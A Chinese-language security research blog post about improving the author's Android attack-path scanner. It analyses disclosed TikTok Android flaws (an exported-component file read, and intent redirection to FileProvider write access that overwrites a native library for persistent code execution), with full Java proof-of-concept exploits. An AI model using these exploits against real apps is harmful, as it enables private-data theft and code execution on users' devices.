许久不见呀各位老板
客户端应用的逻辑漏洞一直都是我很喜欢研究的,包括我写了一个扫描器Path Finder也是专门用于搜索攻击路径的
最近我整理了近年来的一些比较有质量的漏洞,抽象出了漏洞模型来测试Path Finder的检出能力,事实证明Path Finder还是个孩子
不过还是有所进步的,接下来我用具体的漏洞实例讲讲我如何对Path Finder扫描逻辑进行优化
Path Finder的基础扫描思路就是控制流的路径搜索,这点之前的笔记里也有提过,比如一个组件FirstActivity
导出,它的重写方法onCreate()
调用了方法startActivity()
,那这里就可以形成一条路径FirstActivity.onCrate() -> startActivity()
最基础的情况下我们打印出所有这样的路径,即可发现大部分以方法startActivity()
为搜索点的攻击入口,在真实的攻防场景里,方法startActivity()
只是众多攻击入口之一,本文仅以此举例说明
国外的安全团队Oversecured去年中旬使用自研的扫描器对TikTok进行过一次安全检测,发现了若干客户端的漏洞,漏洞点比较常规,但是利用思路对我很有启发,基于此我也思考了一些新的思路去探索可行的利用链
《Oversecured detects dangerous vulnerabilities in the TikTok Android app》
- https://blog.oversecured.com/Oversecured-detects-dangerous-vulnerabilities-in-the-TikTok-Android-app/
第一个漏洞是组件导出导致的任意文件读漏洞
组件com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity
导出
<activity
android:exported="true" android:name="com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity"
android:screenOrientation="1"
android:theme="@style/ac"/>
com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity
会从传入Intent的键live_wall_paper
获取类型为LiveWallPaperBean
的对象数据并赋值给全局变量mLiveWallPaperBean
@Override // com.ss.android.ugc.aweme.base.activity.AmeSSActivity
public void onCreate(Bundle bundle) {
super.onCreate(bundle);
this.mLiveWallPaperBean = (LiveWallPaperBean)this.getIntent().getParcelableExtra("live_wall_paper");
if(this.mLiveWallPaperBean == null) {
this.finish();
return;
}
...
}
这个Activity界面上有一个按钮,按钮点击回调会调用方法setLiveWallPaper()
// com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity_ViewBinding
public class LiveWallPaperPreviewActivity_ViewBinding implements Unbinder {
public LiveWallPaperPreviewActivity_ViewBinding(LiveWallPaperPreviewActivity arg4, View arg5) {
View v0_1 = Utils.findRequiredView(arg5, 0x7F141A55, "method \'setLiveWallPaper\'"); // id:dfr
this.c = v0_1;
v0_1.setOnClickListener(new DebouncingOnClickListener() {
@Override // butterknife.internal.DebouncingOnClickListener
public final void doClick(View arg1) {
arg4.setLiveWallPaper();
}
});
...
}
...
}
方法setLiveWallPaper()
将刚才的全局变量mLiveWallPaperBean
写入com.ss.android.ugc.aweme.livewallpaper.c.c.f
,这个变量也是一个LiveWallPaperBean
public void setLiveWallPaper() {
...
this.mLiveWallPaperBean.setSource("paper_set");
c v0 = c.a();
LiveWallPaperBean liveWallPaperBean = this.mLiveWallPaperBean;
v0.mLiveWallPaperBean.setId(liveWallPaperBean.getId());
v0.mLiveWallPaperBean.setThumbnailPath(liveWallPaperBean.getThumbnailPath());
v0.mLiveWallPaperBean.setVideoPath(liveWallPaperBean.getVideoPath());
v0.mLiveWallPaperBean.setWidth(liveWallPaperBean.getWidth());
v0.mLiveWallPaperBean.setHeight(liveWallPaperBean.getHeight());
v0.mLiveWallPaperBean.setSource(liveWallPaperBean.getSource());
c.a().a(this);
String v0_1 = this.mLiveWallPaperBean.getId();
...
}
注意这里是使用c.a()
的形式获取实例
public final class c {
private static c f;
...
public static c a() {
return c.f;
}
...
}
总结一下第一步就是导出组件com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity
传入一个Intent,点击按钮后可以更改掉一个对象实例的内部数据
这里会有缓存的问题,比如原先已经设置了,就会出现设置后的值,我测试的时候设置为/data/user/0/com.zhiliaoapp.musically/app_webview/metrics_guid
,所以在默认的情况下会出现这个值,包括width
和height
也是
com.zhiliaoapp.musically on (google: 8.1.0) [usb] # plugin wallbreaker objectsearch com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean
(agent) [571691] Called com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean.toString()
[0x2aa2]: LiveWallPaperBean{id='null', thumbnailPath='null', videoPath='/data/user/0/com.zhiliaoapp.musically/app_webview/metrics_guid', width=100, height=100, source=paper_set}
类com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean
包含一个变量videoPath
,方法getVideoPath()
和setVideoPath()
,这个值在后面的利用会用到
public class LiveWallPaperBean implements Parcelable {
private String videoPath;
...
public String getVideoPath() {
return this.videoPath;
}
public void setVideoPath(String videoPath) {
this.videoPath = videoPath;
}
...
组件com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider
导出
<provider
android:authorities="com.zhiliaoapp.musically.wallpapercaller"
android:exported="true"
android:name="com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider"/>
方法WallPaperDataProvider.openFile()
会获通过方法c.a()
获取到上面修改过数据后的对象实例mLiveWallPaperBean
的字段videoPath
,主要这个字段我们可控,最后直接返回这个文件
public class WallPaperDataProvider extends ContentProvider {
@Override // android.content.ContentProvider
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
String videoPath = "";
int match = this.uriMatcher.match(uri);
if(match == 0x10) {
videoPath = c.a().mLiveWallPaperBean.getVideoPath();
}
else if(match == 0x20) {
videoPath = e.b();
}
try {
return ParcelFileDescriptor.open(new File(videoPath), 0x10000000);
}
catch(Exception unused_ex) {
return null;
}
}
...
}
总结下这个漏洞:导出组件com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity
能修改掉一个对象实例的字段,导出组件com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider
会获取上述对象实例的字段videoPath
作为路径进行文件打开并返回
常规扫描器最多只能扫描出来组件com.ss.android.ugc.aweme.livewallpaper.WallPaperDataProvider
导出可能存在问题,将两个组件通过一个变量赋值读取行为进行关联,大概率是使用污点分析
目前的Path Finder暂时就先不考虑这样的漏洞模型了,不过我已经有想法如何进行处理了
漏洞利用不复杂,因为传入的是序列化后的私有类对象,我们需要在Poc里添加这个私有类,有个简单办法是直接把classes.dex
文件转换为Jar包,作为第三方库导入,这个应用有很多的Dex文件,这个版本的com.ss.android.ugc.aweme.livewallpaper.model.LiveWallPaperBean
在文件classes5.dex
,在启动导出组件com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity
后,Poc会延迟五秒,这个时间用于点击按钮来实现数据写入,五秒后开始查询,将查询到的结果在日志里输出
public class MainActivity extends Activity {
String theft = "/data/user/0/com.zhiliaoapp.musically/app_webview/metrics_guid";
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
LiveWallPaperBean liveWallPaperBean = LiveWallPaperBean.buildEmptyBean();
liveWallPaperBean.setHeight(100);
liveWallPaperBean.setWidth(100);
liveWallPaperBean.setId("1337");
liveWallPaperBean.setSource(theft);
liveWallPaperBean.setThumbnailPath(theft);
liveWallPaperBean.setVideoPath(theft);
Intent intent = new Intent();
intent.setClassName(
"com.zhiliaoapp.musically",
"com.ss.android.ugc.aweme.livewallpaper.ui.LiveWallPaperPreviewActivity");
intent.putExtra("live_wall_paper", liveWallPaperBean);
startActivity(intent);
Uri uri = Uri.parse("content://com.zhiliaoapp.musically.wallpapercaller/video_path");
new Handler().postDelayed(() -> {
try {
InputStream inputStream = getContentResolver().openInputStream(uri);
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String lineStr = null;
while ((lineStr = bufferedReader.readLine()) != null) {
Log.e(TAG, "onCreate: ==> " + lineStr);
}
bufferedReader.close();
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}, 5000);
}
}
日志
10537-10537/com.wnagzihxa1n.myapplication E/ContentValues: onCreate: ==> 58dae009-5f23-43b1-8377-fa770cb3925a
第二个漏洞是组件导出导致的持久化代码执行漏洞
组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver
导出
<receiver android:name="com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver">
<intent-filter>
<action android:name="notification_cancelled"/>
</intent-filter>
</receiver>
当Action为notification_clicked
的时候,会获取contentIntentURI
传入startActivity()
进行跳转,由于contentIntentURI
外部可控,所以可以跳转任意私有不导出Activity组件
public class NotificationBroadcastReceiver extends BroadcastReceiver {
@Override // android.content.BroadcastReceiver
public void onReceive(Context context, Intent intent) {
if(context != null && intent != null) {
String action = intent.getAction();
int intent_type = intent.getIntExtra("type", -1);
if(intent_type != -1) {
((NotificationManager)context.getSystemService("notification")).cancel(intent_type);
}
Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
try {
intent_contentIntentURI.getDataString();
context.startActivity(intent_contentIntentURI); // <--
}
catch(Exception unused_ex) {
}
}
if("notification_cancelled".equals(action)) {
Map map = null;
if(intent_contentIntentURI != null) {
map = (Map)intent_contentIntentURI.getSerializableExtra("log_data_extra_to_adsapp");
}
h.a("push_clear", map);
}
return;
}
}
}
高版本的安卓系统需要如下使用FileProvider,这里可以看到被设置为不导出
<provider
android:authorities="com.zhiliaoapp.musically.fileprovider"
android:exported="false"
android:grantUriPermissions="true"
android:name="android.support.v4.content.FileProvider">
<meta-data android:name="android.support.FILE_PROVIDER_PATHS" android:resource="@xml/c"/>
</provider>
对应的配置文件
<?xml version="1.0" encoding="UTF-8"?>
<paths xmlns:android="http://schemas.android.com/apk/res/android">
<root-path name="name" path=""/>
<external-path name="share_path0" path="share/"/>
<external-path name="download_path2" path="Download/"/>
<cache-path name="gif" path="gif/"/>
<external-files-path name="share_path1" path="share/"/>
<external-files-path name="install_path" path="update/"/>
<external-files-path name="livewallpaper" path="livewallpaper/"/>
<external-cache-path name="share_image_path0" path="picture/"/>
<external-cache-path name="share_image_path2" path="head/"/>
<external-cache-path name="share_image_path3" path="feedback/"/>
<external-cache-path name="share_image_path4" path="tmpimages/"/>
<cache-path name="share_image_path1" path="picture/"/>
<cache-path name="share_image_path3" path="head/"/>
<cache-path name="share_image_path4" path="tmpimages/"/>
<cache-path name="share_sdk_path_0" path="share_content_cache/"/>
</paths>
这里的利用值得学习,先拥有一个任意私有Activity组件打开的能力,去结合FileProvider获取文件读写的能力,再去实现动态库加载
首先是给漏洞组件com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver
发送广播
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
handleIntent(getIntent());
}
private void handleIntent(Intent i) {
Intent intent = new Intent("notification_clicked");
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
sendBroadcast(intent);
}
}
回顾下漏洞代码段,会获取contentIntentURI
字段,用于后续跳转
Intent intent_contentIntentURI = (Intent)intent.getParcelableExtra("contentIntentURI");
if(("notification_clicked".equals(action)) && intent_contentIntentURI != null) {
try {
intent_contentIntentURI.getDataString();
context.startActivity(intent_contentIntentURI);
}
catch(Exception unused_ex) {
}
}
如下即可实现指定应用获取FileProvider的文件读写权限,从NotificationBroadcastReceiver
跳到Poc的MainActivity
的时候就获得了对FileProvider的文件读写权限,此处指定的文件是/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so
,同时指定了Action为TIKTOK_ATTACK_NotificationBroadcastReceiver
,会去调用else
分支,将我们的So文件写入上面指定的路径
public class MainActivity extends AppCompatActivity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
handleIntent(getIntent());
}
@Override
protected void onNewIntent(Intent intent) {
super.onNewIntent(intent);
handleIntent(intent);
}
private void handleIntent(Intent i) {
if(!"TIKTOK_ATTACK_NotificationBroadcastReceiver".equals(i.getAction())) {
// NotificationBroadcastReceiver.onReceive()调用startActivity()使用的Intent,用于Poc获取FileProvider的文件读写权限
Intent next = new Intent("TIKTOK_ATTACK_NotificationBroadcastReceiver");
next.setClassName(getPackageName(), getClass().getCanonicalName());
next.setFlags(Intent.FLAG_GRANT_PERSISTABLE_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
next.setData(Uri.parse("content://com.zhiliaoapp.musically.fileprovider/name/data/user/0/com.zhiliaoapp.musically/lib-main/libimagepipeline.so"));
// 发往NotificationBroadcastReceiver的Intent
Intent intent = new Intent("notification_clicked");
intent.setClassName("com.zhiliaoapp.musically", "com.ss.android.ugc.awemepushlib.os.receiver.NotificationBroadcastReceiver");
intent.putExtra("contentIntentURI", next);
sendBroadcast(intent);
}
else {
try {
OutputStream outputStream = getContentResolver().openOutputStream(i.getData());
InputStream inputStream = getAssets().open("evil_lib.so");
IOUtils.copy(inputStream, outputStream);
inputStream.close();
outputStream.close();
}
catch (Throwable th) {
throw new RuntimeException(th);
}
}
}
}
我们分析下为什么是文件com.zhiliaoapp.musically/lib-main/libimagepipeline.so
,这得从Facebook开源的SoLoader说起,这个工具可以自动实现So文件的加载,能够解决大量动态库的依赖问题,它有个特点是会把所有的动态库放到/data/data/PackageName/lib-main
,然后应用启动的时候会去这个路径下加载动态库,但在测试过程中,这个路径下默认是没有库文件的
那我们既然拥有/data/data/com.zhiliaoapp.musically
下文件的读写能力,就可以指定其中一个动态库去覆写,应用启动的时候就会加载我们覆写后的动态库,实现代码执行
需要注意的是不同版本有不一样的行为,在某些版本并不能生成lib-main文件夹,可以替换成app_librarian/14.8.3.6327148996
攻击过程:先安装TikTok,点击启动运行,再运行Poc,覆写So,再重启TikTok就会发现漏洞利用成功
第三个漏洞模型和第二个漏洞一样,只是它的入口并不是很常规的onCteate()
组件com.ss.android.ugc.aweme.detail.ui.DetailActivity
导出
<activity
android:name="com.ss.android.ugc.aweme.detail.ui.DetailActivity"
android:screenOrientation="portrait"
android:configChanges="keyboard|keyboardHidden|orientation|screenSize"
android:windowSoftInputMode="adjustUnspecified|stateHidden|adjustResize">
<intent-filter>
<action android:name="android.intent.action.VIEW"/>
<category android:name="android.intent.category.DEFAULT"/>
<data android:scheme="taobao" android:host="detail.aweme.sdk.com"/>
</intent-filter>
</activity>
很直接的获取传入的Intent去跳转,点击返回键来触发,返回键大部分的安卓机都是有的
@Override // android.support.v4.app.FragmentActivity
public void onBackPressed() {
if(com.ss.android.ugc.aweme.utils.d.c.c()) {
Intent intent = (Intent)this.getIntent().getParcelableExtra("VENDOR_BACK_INTENT_FOR_INTENT_KEY");
if(intent != null && intent.resolveActivity(this.getPackageManager()) != null) {
this.startActivity(intent);
this.finish();
return;
}
}
...
}
利用过程和第二个漏洞一样,利用FileProvider的权限获得对私有目录文件的读写能力,覆写后重启应用实现持久化代码执行
第四个漏洞比较复杂,简单来说就是一个导出的Service,实现了tryDownload()
接口可以实现任意文件的下载与路径的指定
然后讲讲其它的漏洞模型
第一个Activity是FirstActivity,第二个Activity是SecondActivity,第三个Activity是ThirdActivity,依次继承,一般情况下我们都会正常实现onCreate()
,但有时候会出现不正常的情况,有的子类它不实现onCreate()
,一开始Path Finder就没法构建出ThirdActivity.onCreate -> SecondActivity.onCreate()
这样的调用路径,会导致相当一部分的漏报
所以我在构图的过程中,一旦发现没有实现这些重写函数,就手动构建,并且添加调用父类的路径
[!] Not Find Activity ==> Lcom/qihoo360/mobilesafe/proxy/activity/DefaultShortCutProxyActivity2;->onCreate(Landroid/os/Bundle;)V
[!] Attempt to Find SuperClass ==> Lbjg;
[!] Find Activity ==> Lbjg;->onCreate(Landroid/os/Bundle;)V
但也有的类它确实就是没有这个方法,所以一旦发现父类来自系统库,就中止搜索
[!] Not Find Service ==> Lcom/qihoo360/mobilesafe/service/helper/GuardHelperService;->onHandleIntent(Landroid/content/Intent;)V
[!] Attempt to Find SuperClass ==> Lbki;
[!] Not Find Service ==> Lbki;->onHandleIntent(Landroid/content/Intent;)V
[!] Attempt to Find SuperClass ==> Landroid/app/Service;
[!] 系统类,中止搜索 ==> Landroid/app/Service;
这里有一个实例漏洞,我抽象出漏洞模型来讲讲,它也是一个导出的SecondActivity,它本身没有实现onCreate()
,但是父类FirstActivity实现了,然后父类的onCreate()
又调用了一个抽象方法,这个抽象方法在导出的SecondActivity里实现
除了子类父类这些关系要捋清楚,还要刷新一遍接口方法,抽象方法等这些反编译出来并没有直接指向的特性
有人问我为什么不搞基于数据流分析的FlowDroid,别问,问就是看不懂
更新后的Path Finder在最新的TikTok,DouYin上发现了若干有意思的漏洞
之前提到过的利用WebView的UXSS作为攻击入口实现RCE的漏洞模型我也在单独适配,看看五一能不能完成这部分的工作
- https://medium.com/@dPhoeniixx/tiktok-for-android-1-click-rce-240266e78105
再聊聊最近的一些学习
WhatsApp的漏洞
- https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
CanSecWest2021关于特斯拉的安全研究
- https://docs.google.com/presentation/d/1T9NAJTBWkqBGsQlQwM1anbFXRhxJcTiq0O4VfQCtVEk/edit#slide=id.gd544bf491d_1_89
- https://kunnamon.io/tbone/tbone-v1.0-redacted.pdf
华为奇点安全实验室在Zer0Con2021关于Chrome漏洞利用的分享
- https://github.com/singularseclab/Slides/raw/main/2021/chrome_exploitation-zer0con2021.pdf
然后就是鸿蒙已经开始小范围推送了,听说使用体验非常丝滑,彻底i了